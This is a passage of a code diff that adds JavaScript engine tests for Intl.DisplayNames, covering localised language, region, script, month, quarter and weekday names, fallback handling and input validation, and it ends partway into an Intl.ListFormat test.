+ "en-Hant-GB": "English (Traditional, United Kingdom)",
+ "en-Hans-US": "English (Simplified, United States)",
+ "fr": "French",
+ "nl-BE": "Dutch (Belgium)",
+ "cr-Cans": "Cree (Unified Canadian Aboriginal Syllabics)",
+ },
+ short: {
+ "en-Hant-GB": "English (Traditional, UK)",
+ "en-Hans-US": "English (Simplified, US)",
+ "cr-Cans": "Cree (UCAS)",
+ },
+ narrow: {},
+ },
+ "de": {
+ long: {
+ "de": "Deutsch",
+ "de-AT": "Deutsch (Österreich)",
+ "de-1996": "Deutsch (Neue deutsche Rechtschreibung)",
+ "en": "Englisch",
+ "en-Hant-GB": "Englisch (Traditionell, Vereinigtes Königreich)",
+ "en-Hans-US": "Englisch (Vereinfacht, Vereinigte Staaten)",
+ "fr": "Französisch",
+ "nl-BE": "Niederländisch (Belgien)",
+ },
+ short: {
+ "en-Hant-GB": "Englisch (Traditionell, UK)",
+ "en-Hans-US": "Englisch (Vereinfacht, USA)",
+ },
+ narrow: {},
+ },
+ "fr": {
+ long: {
+ "de": "allemand",
+ "de-AT": "allemand (Autriche)",
+ "de-1996": "allemand (orthographe allemande de 1996)",
+ "en": "anglais",
+ "en-Hant-GB": "anglais (traditionnel, Royaume-Uni)",
+ "en-Hans-US": "anglais (simplifié, États-Unis)",
+ "fr": "français",
+ "nl-BE": "néerlandais (Belgique)",
+ },
+ short: {
+ "en-Hant-GB": "anglais (traditionnel, R.-U.)",
+ "en-Hans-US": "anglais (simplifié, É.-U.)",
+ },
+ narrow: {},
+ },
+ "zh": {
+ long: {
+ "zh": "中文",
+ "zh-Hant": "中文(繁体)",
+ "zh-Hant-CN": "中文(繁体,中国)",
+ "zh-Hans-HK": "中文(简体,中国香港特别行政区)",
+ },
+ short: {
+ "zh-Hans-HK": "中文(简体,香港)"
+ },
+ narrow: {},
+ },
+ "ar": {
+ long: {
+ "ar": "العربية",
+ "ar-SA": "العربية (المملكة العربية السعودية)",
+ "zh-MO": "الصينية (منطقة ماكاو الإدارية الخاصة)",
+ },
+ short: {
+ "zh-MO": "الصينية (مكاو)",
+ },
+ narrow: {},
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "language", languageDisplay: "standard", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "language");
+ assertEq(resolved.languageDisplay, "standard");
+ assertEq(resolved.fallback, "code");
+
+ let inheritedTests = {...localeTests.long, ...localeTests.short, ...localeTests.narrow};
+ for (let [language, expected] of Object.entries({...inheritedTests, ...styleTests})) {
+ assertEq(dn.of(language), expected);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(language)), expected);
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "language"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(null), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+
+ // Throws an error if |code| can't be parsed as a `unicode_language_id` production.
+ assertThrowsInstanceOf(() => dn.of("en-"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("en-u-ca-gregory"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("en-x-private"), RangeError);
+}
+
+// Test fallback behaviour.
+{
+ let dn1 = new Intl.DisplayNames("en", {type: "language"});
+ let dn2 = new Intl.DisplayNames("en", {type: "language", fallback: "code"});
+ let dn3 = new Intl.DisplayNames("en", {type: "language", fallback: "none"});
+
+ assertEq(dn1.resolvedOptions().fallback, "code");
+ assertEq(dn2.resolvedOptions().fallback, "code");
+ assertEq(dn3.resolvedOptions().fallback, "none");
+
+ // "aaa" is not a registered language code.
+ assertEq(dn1.of("aaa"), "aaa");
+ assertEq(dn2.of("aaa"), "aaa");
+ assertEq(dn3.of("aaa"), undefined);
+
+ // "aaa" is not a registered language code.
+ assertEq(dn1.of("aaa-Latn"), "aaa-Latn");
+ assertEq(dn2.of("aaa-Latn"), "aaa-Latn");
+ assertEq(dn3.of("aaa-Latn"), undefined);
+
+ // "Aaaa" is not a registered script code.
+ assertEq(dn1.of("en-Aaaa"), "en-Aaaa");
+ assertEq(dn2.of("en-Aaaa"), "en-Aaaa");
+ assertEq(dn3.of("en-Aaaa"), undefined);
+
+ // "AA" is not a registered region code.
+ assertEq(dn1.of("en-AA"), "en-AA");
+ assertEq(dn2.of("en-AA"), "en-AA");
+ assertEq(dn3.of("en-AA"), undefined);
+
+ // "XZ" doesn't have any localised names.
+ assertEq(dn1.of("en-XZ"), "en-XZ");
+ assertEq(dn2.of("en-XZ"), "en-XZ");
+ assertEq(dn3.of("en-XZ"), undefined);
+
+ // "998" is canonicalised to "XZ".
+ assertEq(dn1.of("en-998"), "en-XZ");
+ assertEq(dn2.of("en-998"), "en-XZ");
+ assertEq(dn3.of("en-998"), undefined);
+
+ // The returned fallback is in canonical case.
+ assertEq(dn1.of("AAA"), "aaa");
+ assertEq(dn2.of("AAA"), "aaa");
+ assertEq(dn3.of("AAA"), undefined);
+
+ assertEq(dn1.of("En-aaaa"), "en-Aaaa");
+ assertEq(dn2.of("En-aaaa"), "en-Aaaa");
+ assertEq(dn3.of("En-aaaa"), undefined);
+
+ assertEq(dn1.of("EN-aa"), "en-AA");
+ assertEq(dn2.of("EN-aa"), "en-AA");
+ assertEq(dn3.of("EN-aa"), undefined);
+}
+
+// Ensure language tag canonicalisation is performed.
+{
+ let dn = new Intl.DisplayNames("en", {type: "language", fallback: "none"});
+
+ assertEq(dn.of("ru-RU"), "Russian (Russia)");
+
+ // ICU's canonicalisation supports "SU" -> "RU".
+ assertEq(Intl.getCanonicalLocales("ru-SU")[0], "ru-RU");
+ assertEq(dn.of("ru-SU"), "Russian (Russia)");
+
+ // ICU's canonicalisation doesn't support "172" -> "RU".
+ assertEq(Intl.getCanonicalLocales("ru-172")[0], "ru-RU");
+ assertEq(dn.of("ru-172"), "Russian (Russia)");
+}
+
+// Test when case isn't canonical.
+{
+ let dn = new Intl.DisplayNames("en", {type: "language", fallback: "none"});
+
+ assertEq(dn.of("IT-LATN-IT"), "Italian (Latin, Italy)");
+ assertEq(dn.of("it-latn-it"), "Italian (Latin, Italy)");
+}
+
+// resolvedOptions() only outputs "languageDisplay" when the type is "language".
+{
+ let dn1 = new Intl.DisplayNames("en", {type: "language"});
+ let dn2 = new Intl.DisplayNames("en", {type: "script"});
+
+ assertEq(dn1.resolvedOptions().languageDisplay, "dialect");
+ assertEq(dn2.resolvedOptions().hasOwnProperty("languageDisplay"), false);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/month-calendar.js b/js/src/tests/non262/Intl/DisplayNames/month-calendar.js
new file mode 100644
index 0000000000..9a7d9abdaa
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/month-calendar.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||!this.hasOwnProperty('addIntlExtras'))
+
+addMozIntlDisplayNames(this);
+
+let dn1 = new Intl.DisplayNames("en", {type: "month", calendar: "gregory"});
+assertEq(dn1.of(1), "January");
+assertEq(dn1.resolvedOptions().calendar, "gregory");
+
+let dn2 = new Intl.DisplayNames("en", {type: "month", calendar: "hebrew"});
+assertEq(dn2.of(1), "Tishri");
+assertEq(dn2.resolvedOptions().calendar, "hebrew");
+
+let dn3 = new Intl.DisplayNames("en", {type: "month", calendar: "islamicc"});
+assertEq(dn3.of(1), "Muharram");
+assertEq(dn3.resolvedOptions().calendar, "islamic-civil");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/month.js b/js/src/tests/non262/Intl/DisplayNames/month.js
new file mode 100644
index 0000000000..0bd7a02a80
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/month.js
@@ -0,0 +1,104 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||!this.hasOwnProperty('addIntlExtras'))
+
+addMozIntlDisplayNames(this);
+
+const tests = {
+ "en": {
+ long: ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December", 13],
+ short: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec", 13],
+ narrow: ["J", "F", "M", "A", "M", "J", "J", "A", "S", "O", "N", "D", 13],
+ },
+ "de": {
+ long: ["Januar", "Februar", "März", "April", "Mai", "Juni", "Juli", "August", "September", "Oktober", "November", "Dezember", 13],
+ short: ["Jan", "Feb", "Mär", "Apr", "Mai", "Jun", "Jul", "Aug", "Sep", "Okt", "Nov", "Dez", 13],
+ narrow: ["J", "F", "M", "A", "M", "J", "J", "A", "S", "O", "N", "D", 13],
+ },
+ "fr": {
+ long: ["janvier", "février", "mars", "avril", "mai", "juin", "juillet", "août", "septembre", "octobre", "novembre", "décembre", 13],
+ short: ["janv.", "févr.", "mars", "avr.", "mai", "juin", "juil.", "août", "sept.", "oct.", "nov.", "déc.", 13],
+ narrow: ["J", "F", "M", "A", "M", "J", "J", "A", "S", "O", "N", "D", 13],
+ },
+ "zh": {
+ long: ["一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月", 13],
+ short: ["1月", "2月", "3月", "4月", "5月", "6月", "7月", "8月", "9月", "10月", "11月", "12月", 13],
+ narrow: ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", 13],
+ },
+ "zh-u-ca-chinese": {
+ long: ["正月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "腊月", 13],
+ short: ["正月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "腊月", 13],
+ narrow: ["正", "二", "三", "四", "五", "六", "七", "八", "九", "十", "冬", "腊", 13],
+ },
+ "en-u-ca-hebrew": {
+ long: ["Tishri", "Heshvan", "Kislev", "Tevet", "Shevat", "Adar I", "Adar", "Nisan", "Iyar", "Sivan", "Tamuz", "Av", "Elul"],
+ short: ["Tishri", "Heshvan", "Kislev", "Tevet", "Shevat", "Adar I", "Adar", "Nisan", "Iyar", "Sivan", "Tamuz", "Av", "Elul"],
+ narrow: ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13"],
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ let defaultCalendar = new Intl.DateTimeFormat(locale).resolvedOptions().calendar;
+
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "month", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.calendar, defaultCalendar);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "month");
+ assertEq(resolved.fallback, "code");
+
+ for (let i = 0; i < 13; i++) {
+ assertEq(dn.of(i + 1), String(styleTests[i]));
+
+ // Also works with strings.
+ assertEq(dn.of(String(i + 1)), String(styleTests[i]));
+
+ // Also works with objects.
+ assertEq(dn.of(Object(i + 1)), String(styleTests[i]));
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "month"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(null), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+
+ // Throws an error if |code| isn't an integer.
+ assertThrowsInstanceOf(() => dn.of(1.5), RangeError);
+ assertThrowsInstanceOf(() => dn.of(-Infinity), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Infinity), RangeError);
+ assertThrowsInstanceOf(() => dn.of(NaN), RangeError);
+
+ // Throws an error if outside of [1, 13].
+ assertThrowsInstanceOf(() => dn.of(-1), RangeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+ assertThrowsInstanceOf(() => dn.of(14), RangeError);
+}
+
+// Test fallback behaviour.
+{
+ let dn1 = new Intl.DisplayNames("en", {type: "month"});
+ let dn2 = new Intl.DisplayNames("en", {type: "month", fallback: "code"});
+ let dn3 = new Intl.DisplayNames("en", {type: "month", fallback: "none"});
+
+ assertEq(dn1.resolvedOptions().fallback, "code");
+ assertEq(dn2.resolvedOptions().fallback, "code");
+ assertEq(dn3.resolvedOptions().fallback, "none");
+
+ assertEq(dn1.resolvedOptions().calendar, "gregory");
+ assertEq(dn2.resolvedOptions().calendar, "gregory");
+ assertEq(dn3.resolvedOptions().calendar, "gregory");
+
+ // The Gregorian calendar doesn't have a thirteenth month.
+ assertEq(dn1.of("13"), "13");
+ assertEq(dn2.of("13"), "13");
+ assertEq(dn3.of("13"), undefined);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/quarter.js b/js/src/tests/non262/Intl/DisplayNames/quarter.js
new file mode 100644
index 0000000000..f74b3b439a
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/quarter.js
@@ -0,0 +1,74 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||!this.hasOwnProperty('addIntlExtras'))
+
+addMozIntlDisplayNames(this);
+
+const tests = {
+ "en": {
+ long: ["1st quarter", "2nd quarter", "3rd quarter", "4th quarter"],
+ short: ["Q1", "Q2", "Q3", "Q4"],
+ narrow: ["1", "2", "3", "4"],
+ },
+ "de": {
+ long: ["1. Quartal", "2. Quartal", "3. Quartal", "4. Quartal"],
+ short: ["Q1", "Q2", "Q3", "Q4"],
+ narrow: ["1", "2", "3", "4"],
+ },
+ "fr": {
+ long: ["1er trimestre", "2e trimestre", "3e trimestre", "4e trimestre"],
+ short: ["T1", "T2", "T3", "T4"],
+ narrow: ["1", "2", "3", "4"],
+ },
+ "zh": {
+ long: ["第一季度", "第二季度", "第三季度", "第四季度"],
+ short: ["1季度", "2季度", "3季度", "4季度"],
+ narrow: ["1", "2", "3", "4"],
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ let defaultCalendar = new Intl.DateTimeFormat(locale).resolvedOptions().calendar;
+
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "quarter", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.calendar, defaultCalendar);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "quarter");
+ assertEq(resolved.fallback, "code");
+
+ for (let i = 0; i < 4; i++) {
+ assertEq(dn.of(i + 1), styleTests[i]);
+
+ // Also works with strings.
+ assertEq(dn.of(String(i + 1)), styleTests[i]);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(i + 1)), styleTests[i]);
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "quarter"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(null), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+
+ // Throws an error if |code| isn't an integer.
+ assertThrowsInstanceOf(() => dn.of(1.5), RangeError);
+ assertThrowsInstanceOf(() => dn.of(-Infinity), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Infinity), RangeError);
+ assertThrowsInstanceOf(() => dn.of(NaN), RangeError);
+
+ // Throws an error if outside of [1, 4].
+ assertThrowsInstanceOf(() => dn.of(-1), RangeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+ assertThrowsInstanceOf(() => dn.of(5), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/region.js b/js/src/tests/non262/Intl/DisplayNames/region.js
new file mode 100644
index 0000000000..2d1bfe58d8
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/region.js
@@ -0,0 +1,157 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+const tests = {
+ "en": {
+ long: {
+ "DE": "Germany",
+ "GB": "United Kingdom",
+ "US": "United States",
+ "FR": "France",
+ },
+ short: {
+ "GB": "UK",
+ "US": "US",
+ },
+ narrow: {},
+ },
+ "de": {
+ long: {
+ "DE": "Deutschland",
+ "GB": "Vereinigtes Königreich",
+ "US": "Vereinigte Staaten",
+ "FR": "Frankreich",
+ },
+ short: {
+ "GB": "UK",
+ "US": "USA",
+ },
+ narrow: {},
+ },
+ "fr": {
+ long: {
+ "DE": "Allemagne",
+ "GB": "Royaume-Uni",
+ "US": "États-Unis",
+ "FR": "France",
+ },
+ short: {
+ "GB": "R.-U.",
+ "US": "É.-U.",
+ },
+ narrow: {},
+ },
+ "zh": {
+ long: {
+ "CN": "中国",
+ "HK": "中国香港特别行政区",
+ },
+ short: {
+ "HK": "香港"
+ },
+ narrow: {},
+ },
+ "ar": {
+ long: {
+ "SA": "المملكة العربية السعودية",
+ "MO": "منطقة ماكاو الإدارية الخاصة",
+ },
+ short: {
+ "MO": "مكاو",
+ },
+ narrow: {},
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "region", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "region");
+ assertEq(resolved.fallback, "code");
+
+ let inheritedTests = {...localeTests.long, ...localeTests.short, ...localeTests.narrow};
+ for (let [region, expected] of Object.entries({...inheritedTests, ...styleTests})) {
+ assertEq(dn.of(region), expected);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(region)), expected);
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "region"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(null), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+
+ // Throws an error if |code| can't be parsed as a `unicode_region_subtag` production.
+ assertThrowsInstanceOf(() => dn.of("CA-"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("en-CA"), RangeError);
+}
+
+// Test fallback behaviour.
+{
+ let dn1 = new Intl.DisplayNames("en", {type: "region"});
+ let dn2 = new Intl.DisplayNames("en", {type: "region", fallback: "code"});
+ let dn3 = new Intl.DisplayNames("en", {type: "region", fallback: "none"});
+
+ assertEq(dn1.resolvedOptions().fallback, "code");
+ assertEq(dn2.resolvedOptions().fallback, "code");
+ assertEq(dn3.resolvedOptions().fallback, "none");
+
+ // "AA" is not a registered region code.
+ assertEq(dn1.of("AA"), "AA");
+ assertEq(dn2.of("AA"), "AA");
+ assertEq(dn3.of("AA"), undefined);
+
+ // The returned fallback is in canonical case.
+ assertEq(dn1.of("aa"), "AA");
+ assertEq(dn2.of("aa"), "AA");
+ assertEq(dn3.of("aa"), undefined);
+
+ // "998" is canonicalised to "XZ", but "XZ" has no localised names.
+ assertEq(new Intl.Locale("und-998").region, "XZ");
+
+ // Ensure we return the input and not the canonicalised input.
+ assertEq(dn1.of("998"), "998");
+ assertEq(dn2.of("998"), "998");
+ assertEq(dn3.of("998"), undefined);
+
+ // "XZ" should be consistent with "998".
+ assertEq(dn1.of("XZ"), "XZ");
+ assertEq(dn2.of("XZ"), "XZ");
+ assertEq(dn3.of("XZ"), undefined);
+}
+
+// Ensure language tag canonicalisation is performed.
+{
+ let dn = new Intl.DisplayNames("en", {type: "region", fallback: "none"});
+
+ assertEq(dn.of("RU"), "Russia");
+
+ // ICU's canonicalisation supports "SU" -> "RU".
+ assertEq(Intl.getCanonicalLocales("ru-SU")[0], "ru-RU");
+ assertEq(dn.of("SU"), "Russia");
+
+ // ICU's canonicalisation doesn't support "172" -> "RU".
+ assertEq(Intl.getCanonicalLocales("ru-172")[0], "ru-RU");
+ assertEq(dn.of("172"), "Russia");
+}
+
+// Test when case isn't canonical.
+{
+ let dn = new Intl.DisplayNames("en", {type: "region", fallback: "none"});
+
+ assertEq(dn.of("IT"), "Italy");
+ assertEq(dn.of("it"), "Italy");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/script.js b/js/src/tests/non262/Intl/DisplayNames/script.js
new file mode 100644
index 0000000000..43b3ad5308
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/script.js
@@ -0,0 +1,134 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+const tests = {
+ "en": {
+ long: {
+ "Latn": "Latin",
+ "Hant": "Traditional Han",
+ "Hans": "Simplified Han",
+ "Cans": "Unified Canadian Aboriginal Syllabics",
+ },
+ short: {
+ "Hant": "Traditional",
+ "Hans": "Simplified",
+ "Cans": "UCAS",
+ },
+ narrow: {},
+ },
+ "de": {
+ long: {
+ "Latn": "Lateinisch",
+ "Hant": "Traditionelles Chinesisch",
+ "Hans": "Vereinfachtes Chinesisch",
+ },
+ short: {
+ "Hant": "Traditionell",
+ "Hans": "Vereinfacht",
+ },
+ narrow: {},
+ },
+ "fr": {
+ long: {
+ "Latn": "latin",
+ "Hant": "sinogrammes traditionnels",
+ "Hans": "sinogrammes simplifiés",
+ },
+ short: {
+ "Hant": "traditionnel",
+ "Hans": "simplifié",
+ },
+ narrow: {},
+ },
+ "zh": {
+ long: {
+ "Latn": "拉丁文",
+ "Hant": "繁体中文",
+ "Hans": "简体中文",
+ },
+ short: {
+ "Hant": "繁体",
+ "Hans": "简体",
+ },
+ narrow: {},
+ },
+ "ar": {
+ long: {
+ "Latn": "اللاتينية",
+ "Arab": "العربية",
+ "Hant": "الهان التقليدية",
+ "Hans": "الهان المبسطة",
+ },
+ short: {
+ "Hant": "التقليدية",
+ "Hans": "المبسطة",
+ },
+ narrow: {},
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "script", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "script");
+ assertEq(resolved.fallback, "code");
+
+ let inheritedTests = {...localeTests.long, ...localeTests.short, ...localeTests.narrow};
+ for (let [script, expected] of Object.entries({...inheritedTests, ...styleTests})) {
+ assertEq(dn.of(script), expected);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(script)), expected);
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "script"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+
+ // ToString(null) = "null", which passes `unicode_script_subtag`.
+ dn.of(null); // no error
+
+ // Throws an error if |code| can't be parsed as a `unicode_script_subtag` production.
+ assertThrowsInstanceOf(() => dn.of("latn-"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("en-latn"), RangeError);
+}
+
+// Test fallback behaviour.
+{
+ let dn1 = new Intl.DisplayNames("en", {type: "script"});
+ let dn2 = new Intl.DisplayNames("en", {type: "script", fallback: "code"});
+ let dn3 = new Intl.DisplayNames("en", {type: "script", fallback: "none"});
+
+ assertEq(dn1.resolvedOptions().fallback, "code");
+ assertEq(dn2.resolvedOptions().fallback, "code");
+ assertEq(dn3.resolvedOptions().fallback, "none");
+
+ // "Aaaa" is not a registered script code.
+ assertEq(dn1.of("Aaaa"), "Aaaa");
+ assertEq(dn2.of("Aaaa"), "Aaaa");
+ assertEq(dn3.of("Aaaa"), undefined);
+
+ // The returned fallback is in canonical case.
+ assertEq(dn1.of("aaaa"), "Aaaa");
+ assertEq(dn2.of("aaaa"), "Aaaa");
+ assertEq(dn3.of("aaaa"), undefined);
+}
+
+// Test when case isn't canonical.
+{
+ let dn = new Intl.DisplayNames("en", {type: "script", fallback: "none"});
+
+ assertEq(dn.of("LATN"), "Latin");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/shell.js b/js/src/tests/non262/Intl/DisplayNames/shell.js
new file mode 100644
index 0000000000..20326b0254
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/shell.js
@@ -0,0 +1,6 @@
+// Add |Intl.MozDisplayNames| to the Intl object.
+function addMozIntlDisplayNames(global) {
+ let obj = {};
+ global.addIntlExtras(obj);
+ global.Intl.DisplayNames = obj.DisplayNames;
+}
diff --git a/js/src/tests/non262/Intl/DisplayNames/weekday.js b/js/src/tests/non262/Intl/DisplayNames/weekday.js
new file mode 100644
index 0000000000..fd19f24bb1
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/weekday.js
@@ -0,0 +1,77 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||!this.hasOwnProperty('addIntlExtras'))
+
+addMozIntlDisplayNames(this);
+
+const tests = {
+ "en": {
+ long: ["Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"],
+ // short: ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"],
+ short: ["Mo", "Tu", "We", "Th", "Fr", "Sa", "Su"],
+ narrow: ["M", "T", "W", "T", "F", "S", "S"],
+ },
+ "de": {
+ long: ["Montag", "Dienstag", "Mittwoch", "Donnerstag", "Freitag", "Samstag", "Sonntag"],
+ // short: ["Mo", "Di", "Mi", "Do", "Fr", "Sa", "So"],
+ short: ["Mo.", "Di.", "Mi.", "Do.", "Fr.", "Sa.", "So."],
+ narrow: ["M", "D", "M", "D", "F", "S", "S"],
+ },
+ "fr": {
+ long: ["lundi", "mardi", "mercredi", "jeudi", "vendredi", "samedi", "dimanche"],
+ // short: ["lun.", "mar.", "mer.", "jeu.", "ven.", "sam.", "dim."],
+ short: ["lu", "ma", "me", "je", "ve", "sa", "di"],
+ narrow: ["L", "M", "M", "J", "V", "S", "D"],
+ },
+ "zh": {
+ long: ["星期一", "星期二", "星期三", "星期四", "星期五", "星期六", "星期日"],
+ short: ["周一", "周二", "周三", "周四", "周五", "周六", "周日"],
+ narrow: ["一", "二", "三", "四", "五", "六", "日"],
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ let defaultCalendar = new Intl.DateTimeFormat(locale).resolvedOptions().calendar;
+
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "weekday", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.calendar, defaultCalendar);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "weekday");
+ assertEq(resolved.fallback, "code");
+
+ for (let i = 0; i < 7; i++) {
+ assertEq(dn.of(i + 1), styleTests[i]);
+
+ // Also works with strings.
+ assertEq(dn.of(String(i + 1)), styleTests[i]);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(i + 1)), styleTests[i]);
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "weekday"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(null), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+
+ // Throws an error if |code| isn't an integer.
+ assertThrowsInstanceOf(() => dn.of(1.5), RangeError);
+ assertThrowsInstanceOf(() => dn.of(-Infinity), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Infinity), RangeError);
+ assertThrowsInstanceOf(() => dn.of(NaN), RangeError);
+
+ // Throws an error if outside of [1, 7].
+ assertThrowsInstanceOf(() => dn.of(-1), RangeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+ assertThrowsInstanceOf(() => dn.of(8), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/ListFormat/browser.js b/js/src/tests/non262/Intl/ListFormat/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/ListFormat/browser.js
diff --git a/js/src/tests/non262/Intl/ListFormat/conjunction-type.js b/js/src/tests/non262/Intl/ListFormat/conjunction-type.js
new file mode 100644
index 0000000000..320a235271
--- /dev/null
+++ b/js/src/tests/non262/Intl/ListFormat/conjunction-type.js
@@ -0,0 +1,116 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+// Note: Use the same test locales as used in unit-type.js
+
+const {Element, Literal} = ListFormatParts;
+const styles = ["long", "short", "narrow"];
+
+// Test with zero elements.
+{
+ const list = [];
+ const expected = [];
+ const locales = ["ar", "de", "en", "es", "ja", "nl", "th", "zh"];
+
+ for (let locale of locales) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "conjunction", style});
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with one element.
+{
+ const list = ["A"];
+ const expected = [Element(list[0])];
+ const locales = ["ar", "de", "en", "es", "ja", "nl", "th", "zh"];
+
+ for (let locale of locales) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "conjunction", style});
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with two elements to cover the [[Template2]] case.
+{
+ const list = ["A", "B"];
+
+ const testData = {
+ "ar": { long: [Element("A"), Literal(" و"), Element("B")] },
